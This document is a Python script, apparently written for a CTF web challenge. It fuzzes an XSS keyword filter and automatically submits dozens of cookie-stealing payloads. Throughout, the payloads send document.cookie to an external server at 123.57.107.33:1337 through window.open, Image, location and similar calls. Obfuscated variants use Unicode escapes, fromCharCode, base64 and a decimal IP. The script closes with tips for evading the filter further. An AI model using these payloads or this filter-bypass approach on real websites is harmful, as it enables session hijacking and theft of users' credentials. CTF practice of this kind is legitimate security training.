1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245
| import requests import time import urllib.parse
def fuzz_cookie_keywords(): url = "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post"
headers = { "Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn", "Referer": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/" }
cookie_keywords = [ "document.cookie", "document['cookie']", "document[\"cookie\"]", "cookie", "document", "window", "open", "fetch", "XMLHttpRequest", "Image", "src", "location", "href", "sendBeacon", "import", "123.57.107.33", "http", "1337", ":", "//", "?", "=", "&", "window.open", "new Image", "navigator", "beacon", "createElement", "appendChild", "submit", "form", "String.fromCharCode", "eval", "setTimeout", "setInterval" ]
print("Fuzzing cookie窃取关键词...") print("=" * 50)
blocked_keywords = [] allowed_keywords = []
for keyword in cookie_keywords: test_payload = f"<body/onload=alert({keyword})>" test_data = f"content={urllib.parse.quote(test_payload)}"
try: response = requests.post( url, headers=headers, data=test_data, timeout=5 )
response_text = response.text.strip()
if response_text == "非法内容": print(f"❌ 被过滤: {keyword}") blocked_keywords.append(keyword) else: print(f"✅ 可通过: {keyword}") allowed_keywords.append(keyword)
except Exception as e: print(f"⚠️ 请求失败: {e}")
time.sleep(0.3)
return blocked_keywords, allowed_keywords
def generate_encoded_payloads(): """生成各种编码的payload""" vps_url = "http://123.57.107.33:1337/"
encoded_payloads = []
base_templates = [ "<body/onload=ALERT>", "<svg/onload=ALERT>", "<body/**/onload=ALERT>", "<body%0aonload=ALERT>" ]
steal_methods = [ ("HTML实体", "window.open('http://123.57.107.33:1337/'+document.cookie)"), ("HTML实体部分", "window.open('http://123.57.107.33:1337/'+document.cookie)"),
("Unicode", "\\u0077\\u0069\\u006e\\u0064\\u006f\\u0077\\u002e\\u006f\\u0070\\u0065\\u006e\\u0028\\u0027\\u0068\\u0074\\u0074\\u0070\\u003a\\u002f\\u002f\\u0031\\u0032\\u0033\\u002e\\u0035\\u0037\\u002e\\u0031\\u0030\\u0037\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u002f\\u0027\\u002b\\u0064\\u006f\\u0063\\u0075\\u006d\\u0065\\u006e\\u0074\\u002e\\u0063\\u006f\\u006f\\u006b\\u0069\\u0065\\u0029"),
("String编码", "eval(String.fromCharCode(119,105,110,100,111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,47,49,50,51,46,53,55,46,49,48,55,46,51,51,58,49,51,51,55,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))"),
("简写", "top['open']('http://123.57.107.33:1337/'+top['document']['cookie'])"), ("this", "this['open']('http://123.57.107.33:1337/'+this['document']['cookie'])"),
("location", "location='http://123.57.107.33:1337/?'+document.cookie"), ("简单Image", "i=Image;i.src='http://123.57.107.33:1337/'+document.cookie"),
("分步", "a=document.cookie;b=window.open;b('http://123.57.107.33:1337/'+a)"),
("defaultView", "document.defaultView.open('http://123.57.107.33:1337/'+document.cookie)"), ]
for template in base_templates: for method_name, code in steal_methods: payload = template.replace("ALERT", code) encoded_payloads.append((f"{template.split('/')[0]} + {method_name}", payload))
return encoded_payloads
def test_alternative_approaches(): """测试替代方法""" url = "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post"
headers = { "Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn", "Referer": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/" }
alternative_payloads = [ ("setTimeout", "<body/onload=setTimeout('window.open(\"http://123.57.107.33:1337/\"+document.cookie)',100)>"),
("函数构造", "<body/onload=(function(){window.open('http://123.57.107.33:1337/'+document.cookie)})()>"),
("赋值表达式", "<body/onload=x=document.cookie,y=window.open,y('http://123.57.107.33:1337/'+x)>"),
("with语句", "<body/onload=with(document)with(defaultView)open('http://123.57.107.33:1337/'+cookie)>"),
("call", "<body/onload=window.open.call(window,'http://123.57.107.33:1337/'+document.cookie)>"),
("self", "<body/onload=self.open('http://123.57.107.33:1337/'+self.document.cookie)>"), ("globalThis", "<body/onload=globalThis.open('http://123.57.107.33:1337/'+globalThis.document.cookie)>"),
("base64", "<body/onload=window.open(atob('aHR0cDovLzEyMy41Ny4xMDcuMzM6MTMzNy8=')+document.cookie)>"),
("IP十进制", "<body/onload=window.open('http://2070377761/'+document.cookie)>"),
("localStorage", "<body/onload=localStorage.setItem('c',document.cookie),window.open('http://123.57.107.33:1337/?c='+localStorage.getItem('c'))>"), ]
working_payloads = []
print("\n测试替代方法...") print("=" * 50)
for method, payload in alternative_payloads: test_data = f"content={urllib.parse.quote(payload)}"
try: response = requests.post( url, headers=headers, data=test_data, timeout=5 )
response_text = response.text.strip()
if response_text != "非法内容": print(f"✅ {method}: 可通过") print(f" Payload: {payload}") working_payloads.append((method, payload)) else: print(f"❌ {method}: 被拦截")
except Exception as e: print(f"⚠️ {method}: 请求失败 - {e}")
time.sleep(0.3)
return working_payloads
if __name__ == "__main__": blocked, allowed = fuzz_cookie_keywords()
print(f"\n被过滤的关键词: {blocked}") print(f"可通过的关键词: {allowed}")
encoded_payloads = generate_encoded_payloads() print(f"\n生成 {len(encoded_payloads)} 个编码payload进行测试...")
working_encoded = [] for method, payload in encoded_payloads: test_data = f"content={urllib.parse.quote(payload)}"
try: response = requests.post( "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post", headers={ "Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn", "Content-Type": "application/x-www-form-urlencoded" }, data=test_data, timeout=5 )
if response.text.strip() != "非法内容": print(f"✅ 编码通过: {method}") working_encoded.append((method, payload)) else: print(f"❌ 编码被拦截: {method}")
except Exception as e: print(f"⚠️ 编码请求失败: {e}")
time.sleep(0.3)
working_alternatives = test_alternative_approaches()
all_working = working_encoded + working_alternatives
if all_working: print(f"\n🎉 找到 {len(all_working)} 个可用的Cookie窃取payload!") for method, payload in all_working: print(f"\n方法: {method}") print(f"Payload: {payload}") print(f"URL编码: {urllib.parse.quote(payload)}") else: print("\n😞 所有方法都被拦截") print("\n建议:") print("1. 尝试使用其他VPS地址或端口") print("2. 检查是否有其他过滤规则") print("3. 考虑使用XSS平台接收cookie")
|